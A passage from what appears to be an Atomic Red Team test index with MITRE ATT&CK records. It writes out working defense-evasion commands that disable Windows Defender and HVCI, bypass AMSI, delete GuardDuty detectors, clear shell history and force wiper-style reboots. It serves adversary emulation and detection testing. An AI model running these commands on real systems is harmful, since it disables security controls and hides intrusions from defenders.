Scan" /f schtasks /create /xml "%temp%\Windows_Defender_Cleanup.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f schtasks /create /xml "%temp%\Windows_Defender_Verification.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f schtasks /create /xml "%temp%\Windows_Defender_Cache_Maintenance.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f name: command_prompt elevation_required: true - name: Clear History auto_generated_guid: 23b88394-091b-4968-a42d-fb8076992443 description: "Clear Shell History. This technique only affect the bash shell application. \n" supported_platforms: - linux executor: command: 'history -c ' name: sh elevation_required: true - name: Suspend History auto_generated_guid: 94f6a1c9-aae7-46a4-9083-2bb1f5768ec4 description: 'suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell ' supported_platforms: - linux executor: command: 'set +o history ' cleanup_command: 'set -o history ' name: sh elevation_required: true - name: Reboot Linux Host via Kernel System Request auto_generated_guid: 6d6d3154-1a52-4d1a-9d51-92ab8148b32e description: 'reboot system via system request seen in Awfulshred wiper. ' supported_platforms: - linux executor: command: "echo 1> /proc/sys/kernel/sysrq \necho b> /proc/sysrq-trigger \n" name: sh elevation_required: true - name: Clear Pagging Cache auto_generated_guid: f790927b-ea85-4a16-b7b2-7eb44176a510 description: | clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/ supported_platforms: - linux executor: command: "free && echo 3 > /proc/sys/vm/drop_caches && free\necho 3> /proc/sys/vm/drop_caches \n" name: sh elevation_required: true - name: Disable Memory Swap auto_generated_guid: e74e4c63-6fde-4ad2-9ee8-21c3a1733114 description: "disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional \npayload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.\n" supported_platforms: - linux executor: command: "swapon -a \nsleep 2\nswapoff -a\nsync\n" cleanup_command: | swapon -a sleep 2 sync name: sh elevation_required: true - name: Disable Hypervisor-Enforced Code Integrity (HVCI) auto_generated_guid: 70bd71e6-eba4-4e00-92f7-617911dbe020 description: "This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity \"Enabled\" value to \"0\".\nThe pre-req needs to be ran in order to setup HVCI and have it enabled. \nWe do not recommend running this in production.\n[Black Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)\n[Microsoft](https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity)\n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'HVCI must be enabled ' prereq_command: 'if (((cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" 2> nul | findstr EnableVirtualizationBasedSecurity 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" 2> nul | findstr RequirePlatformSecurityFeatures 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" 2> nul | findstr Locked 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" 2> nul | findstr Enabled 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" 2> nul | findstr Locked 2> nul"))) { exit 0 } else { exit 1 } ' get_prereq_command: | reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /t REG_DWORD /d 1 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /t REG_DWORD /d 0 /f executor: command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 0 /f ' cleanup_command: | reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /f reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /f reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /f reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /f reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /f name: powershell elevation_required: true - name: AMSI Bypass - Override AMSI via COM auto_generated_guid: 17538258-5699-4ff1-92d1-5ac9b0dc21f5 description: "With administrative rights, an adversary can disable AMSI via registry value in HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist.\nThis is currently being used by AsyncRAT and others. \nhttps://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html\nhttps://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/\n" supported_platforms: - windows executor: command: 'REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f ' cleanup_command: 'REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /f ' name: command_prompt elevation_required: true - name: AWS - GuardDuty Suspension or Deletion auto_generated_guid: 11e65d8d-e7e4-470e-a3ff-82bc56ad938e description: 'Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration. ' supported_platforms: - iaas:aws input_arguments: region: description: Name of the specified region type: string default: us-east-1 dependency_executor_name: bash dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo "Please install the aws-cli and configure your AWS default profile using: aws configure" ' executor: command: | detectorId=$(aws guardduty create-detector --enable --region "#{region}" | grep -oP '(?<="DetectorId": ")[^"]*') aws guardduty update-detector --no-enable --detector-id $detectorId aws guardduty delete-detector --detector-id $detectorId cleanup_command: 'echo "If test successfully ran, no cleanup required." ' name: bash elevation_required: false - name: Tamper with Defender ATP on Linux/MacOS auto_generated_guid: 40074085-dbc8-492b-90a3-11bcfc52fda8 description: 'With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide ' supported_platforms: - linux - macos executor: command: 'sudo mdatp config real-time-protection --value disabled ' cleanup_command: 'sudo mdatp config real-time-protection --value enabled ' name: sh elevation_required: true - name: Tamper with Windows Defender Registry - Reg.exe auto_generated_guid: 1f6743da-6ecc-4a93-b03f-dc357e4b313f description: 'Disable Windows Defender by tampering with windows defender registry using the utility "reg.exe" ' supported_platforms: - windows executor: command: "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\n" cleanup_command: "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"0\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\n" name: command_prompt elevation_required: true - name: Tamper with Windows Defender Registry - Powershell auto_generated_guid: a72cfef8-d252-48b3-b292-635d332625c3 description: 'Disable Windows Defender by tampering with windows defender registry through powershell ' supported_platforms: - windows executor: command: "Set-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiSpyware\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiVirus\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableBehaviorMonitoring\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIntrusionPreventionSystem\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIOAVProtection\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableOnAccessProtection\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRealtimeMonitoring\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRoutinelyTakingAction\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScanOnRealtimeEnable\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScriptScanning\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" -Name \"DisableEnhancedNotifications\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"DisableBlockAtFirstSeen\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"SpynetReporting\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" -Name \"MpEnablePus\" -Value 0 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" -Name \"DisallowExploitProtectionOverride\" -Value 0 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" -Name \"TamperProtection\" -Value 0 \nSet-ItemProperty \"HKLM:\\software\\microsoft\\windows defender\\spynet\" -Name \"SubmitSamplesConsent\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows Defender\" -Name \"PUAProtection\" -Value 0 \n" cleanup_command: "Set-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiSpyware\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiVirus\" -Value 0\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableBehaviorMonitoring\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIntrusionPreventionSystem\" -Value 0\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIOAVProtection\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableOnAccessProtection\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRealtimeMonitoring\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRoutinelyTakingAction\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScanOnRealtimeEnable\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScriptScanning\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" -Name \"DisableEnhancedNotifications\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"DisableBlockAtFirstSeen\" -Value 0\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"SpynetReporting\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" -Name \"MpEnablePus\" -Value 1 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" -Name \"DisallowExploitProtectionOverride\" -Value 1 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" -Name \"TamperProtection\" -Value 1\nSet-ItemProperty \"HKLM:\\software\\microsoft\\windows defender\\spynet\" -Name \"SubmitSamplesConsent\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows Defender\" -Name \"PUAProtection\" -Value 1 \n" name: powershell elevation_required: true - name: ESXi - Disable Account Lockout Policy via PowerCLI auto_generated_guid: '091a6290-cd29-41cb-81ea-b12f133c66cb' description: 'An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting. ' supported_platforms: - linux input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass dependency_executor_name: powershell dependencies: - description: 'Check if VMWARE PowerCLI PowerShell Module is installed. ' prereq_command: | $RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable if (-not $RequiredModule) {exit 1} get_prereq_command: 'Install-Module -Name VMware.PowerCLI -Confirm:$false ' executor: command: "Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\nGet-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false\nDisconnect-VIServer -Confirm:$false\n" name: powershell elevation_required: true - name: Delete Microsoft Defender ASR Rules - InTune auto_generated_guid: eea0a6c2-84e9-4e8c-a242-ac585d28d0d1 description: This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates an InTune-based rules deployment. supported_platforms: - windows executor: command: |- $registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" if (-not (Test-Path $registryPath)) { New-Item -Path $registryPath -Force Write-Host "Registry key created: $registryPath" } $registryValueName = "ASRRules" if (Test-Path "$registryPath\$registryValueName") { Remove-ItemProperty -Path $registryPath -Name $registryValueName Write-Host "Registry value deleted: $registryValueName" } else { New-ItemProperty -Path $registryPath -Name $registryValueName -PropertyType String -Value "36190899-1602-49e8-8b27-eb1d0a1ce869=1" -Force Write-Host "Registry value created: $registryValueName" } Remove-ItemProperty -Path $registryPath -Name $registryValueName Write-Host "Registry value deleted: $registryValueName" name: powershell elevation_required: true - name: Delete Microsoft Defender ASR Rules - GPO auto_generated_guid: 0e7b8a4b-2ca5-4743-a9f9-96051abb6e50 description: This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates a GPO-based rules deployment. supported_platforms: - windows executor: command: |- $registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules" if (-not (Test-Path $registryPath)) { New-Item -Path $registryPath -Force Write-Host "Registry key created: $registryPath" } $newValueName = "36190899-1602-49e8-8b27-eb1d0a1ce869" $newValueData = "1" New-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force Write-Host "Registry value created: $newValueName with data $newValueData" Remove-ItemProperty -Path $registryPath -Name $newValueName Write-Host "Registry value deleted: $newValueName" name: powershell elevation_required: true - name: AMSI Bypass - Create AMSIEnable Reg Key auto_generated_guid: 728eca7b-0444-4f6f-ac36-437e3d751dc0 description: | Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0. Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d supported_platforms: - windows executor: command: | New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null cleanup_command: 'Remove-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Recurse -Force 2> $null ' name: powershell elevation_required: true T1601: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754 type: attack-pattern created: '2020-10-19T19:42:19.740Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1601 url: https://attack.mitre.org/techniques/T1601 - source_name: Cisco IOS Software Integrity Assurance - Image File Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. modified: '2021-04-29T14:49:39.188Z' name: Modify System Image description: |- Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: "Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. \ (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)" x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_permissions_required: - Administrator x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1574: technique: modified: '2023-11-21T20:02:33.404Z' name: Hijack Execution Flow description: |- Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: |- Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Monitor for changes to environment variables, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' - 'Process: Process Creation' - 'Service: Service Metadata' - 'File: File Modification' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Application Control type: attack-pattern id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6 created: '2020-03-12T20:38:12.465Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574 external_id: T1574 - source_name: Autoruns for Windows description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1027.005: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: 